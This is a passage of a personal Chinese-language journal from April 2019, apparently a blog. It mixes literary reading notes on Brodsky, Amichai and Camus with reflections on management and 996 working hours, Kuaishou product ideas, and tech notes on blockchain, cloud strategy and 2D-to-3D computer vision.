  • “而在今天,这唯一的观众彻底消失了,世间再没有任何观众目睹自己的存在,于是人们开始热衷于自拍和直播,努力让其他人类得知自己的确存在于这个世上,为自己的存在争取必要的观众。”
  • +
  • 【剧本】当贫困变得不再真实。被圈养起来的贫穷,魔幻主义。让经过的人接受这或许只是一场演出。而不是真实的。贫穷,会被涂上紫色的。不仅观众这么认为,就连牺牲者也有此感受。
  • +
  • 所有逃离的方式都是相似的,就是让现实失去意义。一种是破坏它,一种是出现一种更压迫性的力量,哪怕这意味着欺骗自己。
    +

    [19.4.26更新] 贫穷,被涂上紫色。霓虹灯漆染漫天水雾,像捣碎的果酱。圈养起来的贫穷。魔幻主义。让经过的人接受这或许只是一场演出。不仅观众这么认为,就连牺牲者也有此感受。所有逃离的方式都是相似的,就是让现实失去意义。一种是破坏它,一种是出现更压迫性的力量,哪怕这意味着欺骗自己。

    +
    +
  • +
+

2019-04-25

+

【快手】The startup behind that deep-fake David Beckham video just raised $3M – TechCrunch

+

We understand that going B2B is a safer bet under current ethical atmosphere

+
+
    +
  • liquidtext
  • +
  • 正因为我们不相互理解,我才得以自由。
  • +
+

和琛昱的午餐。

    +
  • 学习如何表达,以及如何简洁地表达。
  • +
  • 那个关键的制度设计,其实也正是bitcoin作为mining incentive的意义呀。矿工完全是为了自己的利益在挖矿,以获得bitcoin,但是同时却能够确认链上的交易完成,惠及所有正在执行交易的人,让这部分交易添加进区块链里面。
  • +
+

JP Morgan Coin

    +
  • 其实就是用作currency conversion的作用。和美元锚定,类似于zelle的设定,为了帮助转账的便捷性,比如跨银行、跨国的交易等等。
  • +
  • 类比ripple的XRP。但是并没有XRP那样真实的conversion?
  • +
  • “拥有花朵的人不需要神祗。” 佩索阿
  • +
  • 我愿意走在你的后边,把决定风景的权利交给你。
  • +
  • “有个性的人,像行星一样,总带有他们自身运动轨迹的特定气质。”
  • +
+

2019-04-24

    +
  • 人很难很难去否定快乐的意义。这是荒谬的。
    +

    因为这意味着自由。这也意味着,没有那些不容分说。我没有绝对的害怕,也不必须微笑。我可以哭,可以否认,可以绝望或者平和,但是里面每一种情绪都不是条件反射。的确我说过审美是没有高低之分的,审美指向的是复杂。但是它们的抵抗诱惑的能力是不一样的,它们对自由的追逐是不一样的。

    +
    +
  • +
  • 这些想法很危险。它诱惑你去解构很多东西,却没告诉你如何积极地重建。
  • +
  • 那种不确定性。会塑造用户行为。需要marketing和branding来告诉用户什么是可能的。比如uber教育了用户在手机上点几下,就可以改变现实生活中的一些东西。
  • +
  • 堂吉柯德。我的确给大家造成的麻烦。但我希望你不会怪我的。
    “陀思妥耶夫斯基说过:倘若到了这世界的尽头,我们被要求对世上的生活做出总结的话,我们可以递过《堂吉诃德》,并且说: “这就是我给生活做出的总结。你们难道能因为这个而责备我吗?”
    +

    其实,人生也不过是选择一个自己愿意相信的故事。然后和别人交换故事。

    +

    对于更为多数的我们,我们选择了我们习惯的情节和语调。公平的事,我们每一个人都会习惯自己的设定,而拥有相同程度的绝望和平和。

    +

    斯宾诺莎所说,人们总是习惯把自己的利益当成是世界的目的。
    “无论如何,我们不能在这类问题上简单地放弃质疑和思考,否则我们未免对自己过于冷漠。

    +
    +
  • +
+

2D to 3D

    +
  • 【精华】‘explain the data, within some distribution’,改进loss,通过结合discriminator而将人们经验的一些insights结合进loss里作为adversarial prior,joint training。比如在shape这个部分,会训练一个discriminator来判断CNN的output是否为一个valid shape。
  • +
  • 而我们所说的很多经验,就将作为prior来结合进模型之中,比如:皮肤有平滑的形状,骨头以及关节位置不能够过度扭曲等等。
  • +
  • 【精华】NLP中的经验很适合在其他领域复现,就是利用temporal data,去预测context来提高准确度。
  • +
  • analysis of synthesis. decompose the tasks into three parts: shape, texture. using auto-encoder loss.
  • +
  • 分为rigid和non-rigid objects。rigid object是适合一开始入手的,也即拥有固定的规格和形状,比如家具等等,2d -> 3d 的建模会比较简单。但是non-rigid object比如人类,或者生物等等形状各异,no 3D groundtruth。
  • +
  • 演讲的重点在in the wild,也即如何利用互联网的数据。互联网的数据有个特点:总量很多,但来自同样个体的很少。
  • +
  • 研究的方法:analysis of synthesis。利用CNN分解出几个目标做joint training。比如camera viewpoint, shape and texture。整体上看是auto-encoder的思路,优化reconstruction loss。
  • +
  • 处理texture的一个常用手段:通过sphere来unroll。
  • +
  • 每一个human身上都有85 dimension point。
  • +
  • 【创意】在当前frame检测出动作之后,可以通过找到相似的video,而得到当前的motion prediction。动作预测。
  • +
  • 【创意】AR、VR entertainment。比如,抖音滤镜,在舞者的手、脚等关键部分有流动的光。或者做虚拟宠物。
  • +
+

2019-04-23

    +
  • 【思维】Marissa Mayer的lumi labs。我看到的是一个演讲。而max看到的是,这是一个巨好的机会,趁她们团队还没人的时候,直接可以和大神一起工作。
  • +
  • 【管理】从max身上学到的最重要的东西,就是团队管理。绝对不能有能力上的偏见或者是优越感,要用实力说话,也是逐步进行的。一开始让每一个人都充分的参与是最重要的!而不说我最强所以我占了所有的表现的机会。尤其针对展示这一类表现的机会。
  • +
  • 拥有抵抗媚俗的力量。才能够提出建设性意见,而不是潜意识里去迎合某一部分人。哪怕迎合可能会有短期的优势。尤其在商业的名利场里,每一个人都在说我们在满足用户需求。有一些项目他们选择直接刺激用户的感官满足感,他们对待用户的方式是圈养,是依赖的养成。而另一些项目他们是靠想象力,是在表达一种独特的想法,凭借着出众的审美和生产力,他们对待用户的方式是陪伴。
  • +
  • 真正优质的内容还是在英文信息源里。
  • +
+

2019-04-22

    +
  • 做咖啡感觉只是前期打的突破口,重资产加负债后期肯定会寻求拓展市场需求,所以转型成便利店、全家那种类型,甚至涉及物流或金融也不是不可能。和uber能类比的估计只有亏损率了,人家出行市场是刚需还有ubereat这个现金牛才能撑起的估值,现在对瑞幸还是太早了。神舟系的人太擅长流量容易造成高估,短期谨慎看衰。
  • +
  • 报纸成为了公众号。电视台成为了抖音。
  • +
+

和郭文的午餐:「对初入职场的我,想说的一些话」

    +
  • 雷锋网。
  • +
  • 广度和深度的抉择。
  • +
  • 很多我们认为会一直存在的东西,等你过去了再看,不过只是一小段时间。这个是在做深度决定的时候,需要思考的东西。你未来在慢慢定型的时候,还有没有反转的能力,改变的能力。有什么东西是一直存在的。
    +

    这也是我读书的理由。有些东西它一直存在着,我想把它们搞明白。

    +
    +
  • +
  • 今天对vr、ar很感兴趣,明天对社交网络很感兴趣,然后你后天着手开始做一个高精度地图应用。这是你在做广度选择的时候,需要思考的东西。广度的尝试,容易带给人一种被高估了的视野。
  • +
  • 看了一些东西,了解了一些东西的人总有一些蠢蠢欲动。而心里应该要有另一个声音告诉你,你真正擅长什么,你真正能做什么。
  • +
  • 而有意思的事是,我这里阐述的东西很多都是幸存者总结出来的经验。如果你根本在一开始就不曾蠢蠢欲动过,可能这些教训和你永远无关。误解是表达者的宿命,而只有被误解,才可能被理解。交流,永远都是双方的孤独游戏。如果仅仅因为害怕被误解我就不再开口,那实在是太可惜了。
  • +
  • 【情商】约饭的时候聊话题。“你最近有看到什么有意思的事情吗。”,也因为这个话题,我们聊了无人车,5g,ripple等等等等。
  • +
  • 【毕业】毕业时候我想给你们写信。有max、相如、马叶舟。
  • +
  • 我为什么喜欢写博客?因为我记性不好而且很懒,如果我不写的话,我是真的会忘记的啊。好像《轻》里面提到的,幸福的含义是重复。让其逝去,或者不自主地随波漂流,乃至媚俗是一种承受不起的轻浮。
  • +
  • 🌟强化一些观念:
  • +
  • 多看最好的paper。最好的paper会传授你观看事情的方法。比如youtube推荐系统那一篇,比如wasserstein gan那一篇。
  • +
  • 把一个东西吃透比用数量取胜好的多。
  • +
  • 少看微博,只发不看,少用没有语境context的媒介,用知乎取代。
  • +
  • 也同时完善自己挖掘surface有效信息的渠道。做减法比做加法更帮助人理解事情的本质。
    +

    附:reeder应该增加一个功能:mute rss feed。有些feed我不希望加入未读信息流,但我更不想unsubscribe。

    +
    +
  • +
+

2019-04-21

    +
  • 淘宝成功的原因,是解决了信用问题。直播也能在源头构建信用体系。
    -【快搜】场景解释,比如我想知道长跑者的热身动作,左半边是文字版各个空间位置的摆放,右半边是视频。视频领域的搜索引擎。
    +

    视频领域的adsense?,关于广告的展示问题。抖音的衣橱\展示台,或者是内容本身即是广告。反而会偏向前者。我仍然希望你创造出最纯粹的内容。将内容和盈利之间尽量解耦,同时提供了算法精准匹配的空间。

    +
    +
  • +
  • 存在价值盈余的地方,就有商业化的可能。对大部分人的影响力还有很多价值可以挖掘。(比如,我想到那个:让腰部的明星给普通人订制礼物、祝福语。即使是名气再小的明星,都有他们niche的影响力可以变现。)
  • +
  • 影响力的基础是可重复性。我们因此容易高估了现代的流量。算法匹配扶植的是偶然性。而关注、订阅模式在强调必然性。于是重心就自然地分开了,算法匹配的重心在内容本身,而关注、订阅模式的重心在于创作者本身,是创作者掌握着作品质量的必然。
  • +
  • 🌟 从本质上来说,开源软件能够让云服务商提供同质化产品,尤其是IAAS和PAAS,产品在设计与交互层面不再有区别,只剩背后的性能、可靠性。
    +

    而google能够提供最好的性能和体验保证。“从水和电的角度来看,云计算本该如此,想做公共服务必须提供同质化产品。”
    你拥有了自由。商业比拼的不是资源垄断,而是提供资源的便捷性。

    +

    “那么这对谷歌多有利?或者对其他厂商多不利?在我看来这几乎是点了他们的穴——你无法拒绝,因为这是客户的需求,拒绝它就是拒绝客户,但你也无法配合,配合就意味着会被谷歌云拉到Open Cloud与Native Cloud的战场上搞决斗,以谷歌的实力,客观的说,其他厂商的胜算并不高——你说客户到底更相信Kubernetes创始人还是热心友商?于是只能一动不动,跟被点了穴一样。”

    +

    谷歌收入构成里最大的仍然是广告,那为什么是前安卓负责人桑达尔来做谷歌CEO? 因为广告仅仅完成了数钱的动作。而桑达尔做的每个产品都是占据入口然后把钱送过来。

    +

    库里安加码业务团队以Anthos为支点去撬动市场,也加码合作伙伴站在客户一侧往上推。产品离市场越近,业务团队和合作伙伴越省力。(太精准的比喻了!)

    +

    开源Kubernets培养开发者,推广Anthos占领入口,最终谷歌云变现。

    +
    +
  • +
+

2019-04-20

    +
  • 像巴黎圣母院这种具有全球极高知名度的古迹出了如此大的事故是很少见的,而「参与维修」带来的新闻效果远远不及「参与重建」。所以对于奢侈品公司乃至于管理者而言,有机会承担这样的「社会责任」,把自己的个人形象,把公司品牌和巴黎圣母院的重建紧密联系在一起的机会,在公司力所能及的范围内还是很有动机去投资的。

    +
    +

    【剧本】大家争着舞台上的聚光灯下的悲剧,对身边的悲剧不闻不问。

    +

    更甚的,抢着做那个受害的人。

    +
    +
  • +
  • 【快手】企业级直播案例:[[小鱼易连 (企业级直播)]]。未来视频会议有望跨出办公会议领域,成为深入政府/企业核心业务流程的通讯形态。以前只有跨国企业才买得起的视频会议,现在不仅成为小型创业公司的标配,更加能打通政府与个人、企业与个人

    +
  • +
+

2019-04-19

悲伤与理智

    +
  • 流亡。数以百万的人民难以被统计清楚,正是他们构成了“移民”,之所以使用这个称谓是由于缺少一个更好的词,或者,是由于缺少更深的同情心。
  • +
  • 之所以说文学是社会的解毒剂。因为,人的丰富多样就是文学的全部内容,也是它的存在意义。我们必须谈论,如果这意味着我们必须和我们自己对话,那就更好了:这并非为了我们自己,而或许是为了文学。
  • +
  • 如果将流亡的生活归入某一种体裁,那这会是悲喜剧。抵达的目的地向他提供了安全,却使他在社会上变得无足轻重。
  • +
  • 在人口爆炸的时代,文学也具有人口统计学上的意义。
  • +
  • 公众想要阅读自己。
    +

    娱乐行业的深层次冲动:公众想要看到自己。

    +
    +
  • +
  • 对于一个人来说,意志力比风格更加重要。而流亡则使一个人的意志力要受到比祖国时更少的刺激。
  • +
  • 你在书架上的位置,不是由你,而是由你的书来决定的。
  • +
  • 因为现在是出售这个观念的时候。因为现在有人想听。
  • +
  • 一开始,母语是他的剑,后来变成了他的盾。它已变成一种迷恋。流亡就是被推离熟悉语境的过程。而后他又会向他的语境退却。
  • +
  • “这条路上充满着疯狂和一定程度的冷漠。而另一条路上所充满的则是平庸,同样近在咫尺的平庸。”
    +

    其实他提到的流亡,我们都经历过类似的感觉。当我们选择一条无人问津的路时。比如创业。

    +
    +
  • +
  • 人其实是很一致的。我发现我的控制欲,同样支撑起了我的好奇和探索。弄清楚我周遭发生一切的含义,意味着更多的自由。
  • +
  • 文学。我们让下一个人更少恐惧的唯一途径,是让他看到生活的完整规模。
    +

    流亡
    多少人相信解绑,
    意味着自由。
    而流亡的他们,
    继续着,
    老式的演出。

    +
    +
  • +
  • 一个自由的人在他失败的时候,是不指责任何人的。
    +

    指责。意味着一种权力的依附,和一种害怕受伤的心理。当一个人感到害怕的时候,他实际上是在承认了另一个人的权力。这便是不自由。

    +
    +
  • +
  • 所谓历史,不过是人们的记忆。你的记忆会赋予它温和的气候。
  • +
  • “任何一趟被地图左右的旅程,将以购物探险结束。”
  • +
+

表情独特的脸庞(1987年诺奖演说)

    +
  • 世界上还有很多的人,他们沉默着似乎一直在寻找,却最终也没有找到通向人们的出口。这条路没有终点。因为人们总会沉默。
  • +
  • 他们这些身影,更确切地说是这些光源。
  • +
  • 艺术家用以达到这一或那一目的,甚至是最寻常目的的那些手段都具有偶然性,没有什么能比写作过程、比创作过程本身更能让那个艺术家确信这一点。
  • +
  • 如果艺术能交给一个人什么东西,那便是人之存在的孤独。艺术会自主或不自主地在人身上激起他的独特性,个性,使他由一个社会动物变为一个个体。许多东西都可以分享,如面包、床铺,信念和恋人,但是一首诗,却不能被分享。艺术作品,时单独地面向一个人的。
  • +
  • 冷漠和异议取代了期待中的赞同与众口一词。
    +

    感谢这些不理解、这些冷漠。很多时候,冷漠存在,是因为我们允许冷漠存在。

    +
    +
  • +
  • 文学有权干涉国家事务,直到国家事务停止干涉文学。
  • +
  • 艺术愈是出色,就和重复的生活区别愈大。日常生活中,你可以把同样一个笑话说上三遍,引起三次笑声,而成为交际场合的主角。而艺术里,这样的行为叫做陈词滥调。
  • +
  • 每一个新的美学现实,都为一个人明确着他的伦理现实。因为,美学即伦理学之母。一个不懂事的婴儿哭着拒绝一位陌生人,或是相反地要他抱,这个婴儿下意识地完成着一个美学选择而非道德选择。
  • +
  • 每一个新的美学现实会使作为其感受的那个人的面容越发地独特,这一独特性能定型为文学的趣味,而成为抵抗奴役的一种防护手段。一个带有趣味的人,会较少受到各种政治煽动形式所固有的陈词滥调和押韵咒语的感染。问题不仅在于美德并不是能创造出杰作的一种保证,更在于恶,尤其是政治之恶,永远是一个坏的修辞家。一个个体的美学经验越丰富,他的趣味就越坚定,他的道德选择就愈准确,他也就越自由,尽管他有可能愈是不幸。
    +

    关于美学的培养,并不是为了保证你能够创造出杰作,而在于,为了防止恶。

    +

    此处的自由,指的是,受政治上媚俗修辞的绑架。

    +

    不同的美学经验在不同的人身上都发展的相当迅速,因为即便一个人不能完全弄清楚他究竟应该做什么,他也能下意识地知道他喜欢和不喜欢什么。可究竟为什么是艺术、文学这一类经验所培养出的趣味能够帮助人抵挡媚俗的逻辑?

    +

    伦理学本质上回答的是一个为什么的问题,也就是我应不应该这么做,这么做是善是恶。

    +

    🌟 存在很多恶趣味。尝试将直接感官的满足,来合法化逻辑。,就比如布罗茨基提到的,谈论明了之事的缺点在于,这样的谈话会以其轻易、以其轻松获得的正确感觉使意识堕落。这也是这些话题的诱惑。他们忽略了为什么的讨论,忽略了伦理,直抵结论。

    +

    从这个角度来看一些政治煽动就很清楚了。他们想传递的其实是一种充实感,而不是真正的充实。他们用同义重复的逻辑,来调动听众的感动、愤怒和勇气,并利用这些情绪来合理化那些本身荒谬的言论。是这股力量让他们心平气和地杀人,一边骄傲地宣读政治宣言,一边认为自己在替天行道,拥有着最纯净的血脉。

    +

    而因为人的多样性,就是文学的多样性。艺术作品在用想象力来自证,而非直接粗暴的感官刺激。

    +

    而也解释了(乔布斯),审美是可以被教化的。是很难的。为什么我们想要相信美好的东西,必须很轻易地感受的到。因为我们需要引导,如何接受自己的想象力,也愿意去接受别人的。

    +
    +
  • +
  • 在阅读的时候,我很自由,我拥有着自由地诠释,自由地误解的权利。它能以记忆的形式伴随一个人的一生,朦胧或清晰,早或晚,恰当或不恰当。
  • +
  • 时光流逝,像书页翻动。
  • +
  • 这一代人降生,是为了延续下去。
  • +
  • 语言具有时间潜力。这一潜力取决于操这语言所写的诗的数量。今天用俄语或英语创作的作品,为这两种语言在下一个千年的存在提供了保证。
  • +
  • 有时候,借助一个词,一个韵脚,写诗的人就能出现在他之前谁也没到过的地方。
  • +
  • 我感谢你们授予我诺贝尔奖,我实际上是在感谢你们赋予我的创作以某种恒久性。就像广阔文学风景中的一块冰山碎片。
  • +
+

2019-04-18

    +
  • “快手有一个我印象最深的朋友,他家里小猪产不出来,我们一对一的视频,我教他怎样处理,怎么去剖,最终小猪生出来,母猪也活下来了。不管是猪还是人都是一条命,养猪就像养人。”
    +

    google news: 快手。

    +
    +
  • +
  • “郝景芳:我们当初做儿童教育项目特别特别不想变成一个捐赠项目,一旦变成这样就很没意思。我特别想做成互联网项目,我自己对这个事情的定义是希望能够把这些孤零零的村子里的老师和外面的世界连接起来。
    “乡村的一些孩子也会受益。一大半孩子的父母都不在家,孩子很羞涩的,但内心的情感其实都是很丰富的,我也特别希望这些老师相连之后能带动这些孩子也和外界相连。”
    +

    ✍️ 在快手上做一次关于「交换」的营销。相互连接,类似变形记。但是一定要注意的是措辞,很多时候让别人感受到歧视的还有我们潜意识里的区分你我。

    +

    人为的创造难度。创造克制。去保护他们。

    +
    +
  • +
+
+

【快手】对于快手,如何更好的记录生活。现在仅仅也只是现实生活冰山一角。比如那些二更团队观察的美食铺和他们背后的故事。
互联网社会价值峰会圆桌纪实:当廖信忠郝景芳遇见快手“老铁” _宝哥

+
+
    +
  • 20世纪末差点干掉微软的是,互联网,是云。使得操作系统层面的垄断不再起作用。
    +

    打破垄断的挑战者从来都不在领域内。

    +
    +
  • +
  • 【剧本】他的确做了错事,可是为什么他要面对那些他不值得的辱骂。
  • +
+

2019-04-17

    +
  • 今年初,快手创始人兼CEO宿华就对 陌生人社交- 表现出浓厚的兴趣,他表示,快手在过去一年开始转型成为 半熟人半陌生人共存的社区- ,在社区里已经初步形成了很好、混合的社交体验,平台里也已经沉淀了大量的社交关系。如今,快手收购“虾头APP”的背后,无疑透露出其加码陌生人社交的意图。
  • +
  • 人并没有用视频记录自己生活的需求,看看自己手机里拍过多少视频就知道了,即使拍再多的照片也不会看,但是人有渴望交流的需求。
    +

    硬件的创新,会释放被压抑的需求。软件的意义在于引导。

    +
    +
  • +
+

2019-04-16

关于996

    +
  • 对996的一点看法。在领导者找不到更好的管理方式的情况下,强制996是最方便的做法。这和在学校期间强制早晚自习是一个道理。规模庞大以及水平参差不齐,容易导致更同化的保守管理。也因为人性化的管理更吃力。领导者应当反思,防止拿执行上的勤奋来掩盖战术上的偷懒。而职场相比学校,也因为利益关系的交换反而在舆论上偏好对这种inconvenient truth的掩盖。同样的,对工作者来说最好的办法也最直白,就是成为能力突出的那个而获得可以选择的余地。自由的前提是独立。如果是尖子生,学校也不会操心是否少上了自习。
    而讽刺的是,那些曾经被这么“方便”管理着的学生现在一跃成为了新的管理者,自然会诉诸于这种刻入思维的“便利”。悲剧的悲剧性,在于轮回。受伤害者成为伤害本身。
    我经历过最好的管理是,信任。是基于清晰的了解和相互尊重的合作。尽管这意味着需要“不方便”地撕去标签思考。君以国士待我,我以国士报君。
    个人观点,欢迎讨论。
  • +
+
+

分享一个跟进讨论中出现我认为有价值的点。1、”自由的前提是独立“这种说法很容易被理解为”你不够优秀所以不值得被尊重“,值得商榷,应当改为,独立能够为自由争取更多的机会,不能绝对地预设前提。2、关于信任。的确我表达的很理想化,也可能是某些东西贫瘠久了产生的直觉反应;等冷静下来想,反而觉得不依赖信任而达成的利益共识更有力量,有些类似哈耶克的机制设计,即通过奖惩目标的改变使得人们在效益上会选择相互合作而不依赖人们的道德选择。想起一个故事,地主抵押奴隶乘船,当政府改变效益目标为活着抵达目的地的人头数给钱时,反而促使改善了地主和奴隶之间的关系而地主本身不必对奴隶抱有善意。这些制度设计曾经在机构外部,市场中很好地运转过,但如何运用到机构内部来改善管理效率也是一个很值得思考的方向。

+

很同意,我也觉得这个是趋势,而讽刺也同样现实的是,那些绝大多数人仍拥有着挑战这个系统的权利,一些反对的挑战现状的声音很容易被民粹,而代表着他们代表不了的力量。比如trump的当选,还有杨超越现象我觉得都属于,当人们急于反对当前垄断现状时那个用来代表人群的旗帜。但是资本主义有利益交换,这使得在这个方面绝大多数人并没有得到像在政治上他们能得到的道德高地,获益者也倾向维护统治。我们在资本主义里也没有类似政治的投票权,最接近的工会形式是可能的出路之一但现在也在式微。鉴于这些情况我也在想未来那些少数的资本家会不会更进一步剥夺人们反抗的权利,可能并不是压榨而是相反,高福利但是是惰性福利,类似最低收入的提高,以及奶头乐娱乐产业的强势发展。是的如果能回归人文主义,赋予更多元的意义是最好,但这个真的是看统治者的想法以及舆论呢

+
+

最好的管理是:君以国士待我,我以国士报君。
就像学校也从来不管尖子生是否翘自习,是否拍拖。

+

晚饭和max夜谈

    +
  • YC中国是类似当时创新工场的一个存在。当时的创新工场:蒋凡、豌豆荚等等。
  • +
  • 这一类soft skills就是需要磨练的。团队很重要。太多执行的层面并不为人知的。拼多多是怎么找到下沉市场的等等。
  • +
  • 🌟【情商】善对、协商每一个人。每一个人都有可能站在未来自己的立场。
    +

    【剧本】人们看到美好的故事,然后又美好的放弃。和剧本不一样。

    +

    这个时代最想要的是最强烈的渴望。为什么有些创始人会投一些小毛孩。不是bet他们的经历,就是bet他们的专注和莽撞。管理是可以及时介入的。

    +
    +
  • +
  • 性格决定命运。什么样的性格会决定什么样的人聚集在你的身边。
    +

    尝试去改变自己天性。觉醒。你知道自己想成为什么样的人,以及你会去思考如何去聚集这些资源让自己更好的成长。所谓的多样性。以及审美。在这个层面是同一个意思。给自己创造一些错愕感,一些陌生的海域,去反思为什么。

    +

    为什么 -> 怎么样 -> 是什么。

    +
    +
  • +
  • 福柯。应该先看福柯再看昆德拉,学习一种力度。
  • +
  • 「文学的垃圾化很大程度上是对文学的虚无主义危机的回应。」
    +

    现代性的一个表现便是虚无主义。

    +
    +
  • +
  • 「从现代开始,艺术的全部重要性不再是优美,而是崇高。」(应该改为,曾经艺术的作用。)
  • +
  • readfree的extension真的是好用哈哈!
  • +
  • 他代表着他代表不了的力量。特朗普和杨超越的现象。
  • +
  • ICO和众筹的区别。众筹是一次交割,或者附带有类似会员的身份可以优先享受资源,但是没有办法共享收益。coin有意义仅当其依赖的项目有价值。
  • +
+

2019-04-15

    +
  • 这是一台占地面积很小的圆柱形装置,表面仅有三个按钮,分别对应1分钟、3分钟和5分钟的阅读长度;用户只需按下一个按钮,这台机器就会像超市打印小票那样随机打印出一篇要求长度的短篇小说。
    +

    背面广告。
    工具的作用,在于凝聚一些什么,再摒弃一些原生的东西。“有新的东西我会第一时间扑上去,所以对于假的新东西才如此泄气。”

    +
    +
  • +
  • 【快手】如果说现在的快手更像是我们的朋友圈,那短视频平台的公众号系统是什么?
  • +
+

2019-04-13

+

2019-04-12

    +
  • ✍️ 围绕快手短视频 & 直播的版图扩张战略。(adjacent market?)
  • +
  • 【管理】管理的精髓:君以国士待我,我必国士报之。君主以国家栋梁的待遇对待我,我就要为他做出国之栋梁所应做的贡献。
    +

    快手现在有很强的技术能力,需要优秀的领导者。

    +
    +
  • +
  • 快手金融 贷款(类比美团做金融)
  • +
+

2019-04-11

    +
  • 我们所看到的憔悴,不过是曾经的欲望。
  • +
+

耶胡达阿米亥诗选

    +
  • 有时“我们”是单数,而我有时候愿意为了你成为复数。
  • +
  • 这是一盏为回程准备的灯。
  • +
  • “我的生活悲苦如流浪者的流浪。”
  • +
  • “洗过头发的少女给她头上安放新的云。”新云。
  • +
  • “在黑暗的城里,执勤的天使在换班。”
  • +
  • 每当我呼喊我不作停留的城市的名字。
  • +
  • 你捧起过雪的手。你的冷。
  • +
  • 你尽力了,
    让我们留在,
    很祥和的雪天。
    盔甲坠落,
    点亮一盏猩红的灯。
    雪没有味道,
    血有。
  • +
  • “太多钟表,太少时间。
    太多梦者,太少梦。
    我的生活在我身后关闭。我在外边,一只
    总是被残酷、盲目的风抵触脊梁的
    狗。我训练有素,我翻身坐起,
    等待引领它穿过我生命的,
    街道,那可能曾经是我真正的生命。”
  • +
  • 很快在即将来临的夜晚我们将像流浪艺人,出现在彼此的梦中。
  • +
  • 在我最坏的梦里, 你,映着明亮的眼晴, 总是站立在墙垣近旁, 那些壙的基石是一颗心。
  • +
  • 最后的雨降临于一个温暖的夜晚,清晨时分我的灾难盛开。
  • +
  • 一位老妇曾经告诉我因为他内里被焚, 所以他的头变得白如霜雪。
    +

    如灰烬。

    +
    +
  • +
  • 曾有过许多鲜花。
    可我从无足够的时间。
    我所爱的人儿们已经把自身推离我的生活,就像船儿漂离海岸。
  • +
  • 若非这些年来我强忍住的泪水我早已像荆棘一样枯干。
  • +
  • 后来,他们将由于厌倦和疲惫而松开彼此倒下, 将会有云,将会有雨,
  • +
  • 在我们迷失得离爱情更远的时候, 我们繁殖词语, 长而有序的词语和句子。
    假如我们依旧在一起, 我们可能已变成一片静默。
  • +
  • 我的儿子散发着和平的气味,他母亲的子宫应许给他,上帝所不能应许给我们的东西。
    +

    归来
    这场雨,给了我,你所不曾应许给我的东西。

    +
    +
  • +
  • 他以为我是水手, 但知道我没有船。
    而且我们没有海。
    只有辽远的距离,和风。
  • +
+

2019-04-09

    +
  • 有些誓言会悄然走开,有些吹散的秘密会自己回来。
  • +
  • meta learning。需要及时总结什么是让你学的多的途径,什么是浪费的途径。
  • +
  • “他赢过整个世界,也输了整个世界。”
  • +
  • 回忆里的我也会努力。
  • +
  • 一张望着脸的脸,一幅关于画的画。
  • +
  • “像一棵树阴覆着睡在公园长凳上的情侣。他们的爱也像一棵树。”
  • +
  • “我的情绪对你就像气球。我把丢失自己的权利交给了你。”
  • +
  • “我母亲把许许多多的云关闭在她那棕色的壁橱里”
  • +
  • 他的手,很沉,像曾经握住了时间。
  • +
  • 他找到了他的翅膀。
  • +
  • 你的声音像极了风铃,倾诉于擦肩而过的风。
  • +
  • 我们一起生活过的每一天,是陌生扉页里多出的一行。我的欲言又止,是谁的惜墨如金。直到我听见黄昏垂下如笺穗,该停笔了。
  • +
+

2019-04-08

    +
  • 区别不同种类文章的处理方式:
  • +
  • 适合精读的全文文章
  • +
  • 适合作为reference
  • +
  • 🌟 我发现,其实工业界里的任务,有很多基于用户行为、心理上的模式可以利用作为特征。而对于学界它们更需要摒弃这些特殊性而找到更为通用的算法。
    +

    我很喜欢去观察、以及推理用户行为。这给了我一种解释的能力,一种控制欲。
    尤其是airbnb那篇real-time personalization的论文,很多基于业务的属性被运用起来,比如这个场景下的搜索是congregated search(有集群效应),因此借助negative sampling可以有很好的效果。
    也因此,很多工程师转产品经理很合适,因为他们第一手的数据和观察能够帮助他们看到很多这种行为的模式,而仅仅凭借臆想是很难很难做到的。
    有一个正面例子,是豆瓣推荐。借助用户搜索的书名在推荐中插入相关的书评!

    +
    +
  • +
  • 一种很难能可贵的能力,清醒的狂热。
  • +
  • 姜思达:歧视的一个表现形式,也可以是区分你我。
  • +
+

2019-04-07

加缪

    +
  • 奉献一种超乎普通欢愉之上的形象。
  • +
  • 写作,是誓言。是和我经历着同一个年代的人们,他们的希望和失落。他们出生于个人电脑诞生的时期。和平年代。生活在和平年代的艺术。加缪想表达的存在主义。存在主义的反面,是虚无主义。你越是紧跟暴君,就越孤独,因为你在向别人乞求你自己身上得不到的亲密感和安全感。
  • +
  • 这条路没有终点。因为人们总会沉默。
  • +
+

2019-04-06

    +
  • 360度视频拍摄。观看者可以选择不同的人来视线追踪。
  • +
  • 🌟用户暂停视频。无论在什么平台都是一个值得利用起来的讯号。提供相关的概念解释,或者是链接。roku product studio。
  • +
  • 学习乔布斯对开关键的质疑;以及对塑料键盘的质疑。为什么一定要有这个按钮。譬如,为什么要有视频开关按钮。为什么要有这个设备的开关按钮。
  • +
  • 适应性UI。user interface也应该能够适应用户的偏好。
  • +
+

2019-04-05

    +
  • 最好的内容提供商最后一定会自建渠道。
    +

    Alan Kay: People who are really serious about software should make their own hardware.

    +
    +
  • +
  • 不要依赖阅读来提供思考。更不要以为依附于一些形象能够改变自己。
  • +
  • mauve(淡紫色)。纳博科夫。
  • +
  • 物理隔离最终导致生殖隔离。这放在传播学上也成立。
  • +
  • 【剧本】没有人可以幸免。我们都可能成为源头。“We have a generation now that has been trained through hundreds of thousands, perhaps millions of social media reps on what engages people on which platforms. In our own way, we are all Buzzfeed. We are all Kardashians.
  • +
  • 🌟 如何交割所有权
  • +
  • 实体交易(netflix早期给人一种错觉。他们可以拥有所有电影。)
  • +
  • 平台托管电子内容。(youtube给人一种错觉。来这里就可以获取这些内容。)
  • +
+

2019-04-04

    +
  • 为什么国内的共享衣橱的项目很难做起来,因为国内的物流太完善了。
  • +
  • 【快手】快手内部做私人内容的统计和智能助理。从帮助用户管理的智能程度定价分层级。
  • +
  • 【快手】“快搜”里的内容分发,同样适合于信息叠加。比如我希望住酒店,譬如airbnb或者民宿。任何的介绍都比不上一段视频。然后再叠加必要的信息。
  • +
+

2019-04-03

    +
  • 19年快手黑客马拉松第一名是:手语识别。我的想法:借鉴那个imagine cup的项目将声音背景噪音抹去的想法。给听障人士使用。
  • +
  • ✍️【快手】从公开的视频聊天切入社交。
  • +
  • 【快手】短视频的力量:是传递真相。哪怕仅仅是传递真相的感觉。他们说,“我相信你说的是真的。”
    “尚育康的视频很真实。尚育康认为,就是因为粉丝就是看到了这些鸡真实的生长环境,知道它们不是圈养的,是真正的走地鸡,才会选择相信他,从他这里买东西。现在有30%的贵妇鸡,90%的贵妇鸡蛋都是通过快手销售。”
  • +
+

叶芝

    +
